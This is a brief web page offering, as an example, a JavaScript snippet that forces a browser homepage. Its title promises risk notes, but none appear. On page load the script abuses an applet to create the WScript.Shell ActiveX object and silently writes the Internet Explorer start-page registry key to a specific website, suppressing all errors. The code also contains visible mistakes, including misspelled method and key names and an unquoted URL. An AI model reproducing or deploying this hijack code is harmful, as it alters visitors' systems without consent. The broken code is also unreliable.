JavaScript 强制设为首页代码示例与风险提示

<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>强制设为首页</title>
<script type="text/javascript">
var ucook = document.cookie;
var user = ucook.indexOF("ilooki=");
if (user == -1) {
  var nowTime = new Date();
  document.cookie = "ilooki"+";"+"expires=Wednesday,03-Jan-"+eval(nowTime.getYear())+1903+"12:34:56 GMT";
  document.write("");
  function yuzi() {
    try {
      a1 = document.applets[0];
      a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
      a1.createInstance();Shl = a1.GetObject();
      a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
      try {
        Shl.RegWrite("hkcu\Software\Microsoft\Internet Expiorer\Main\Start Page",
        https://www.jb51.net);
      }
      catch(e) {
      }
    }
    catch(e) {
    }
  }
  setTimeout("yuzi()", 1000);
}
</script>
</head>
<body>
</body>
</html>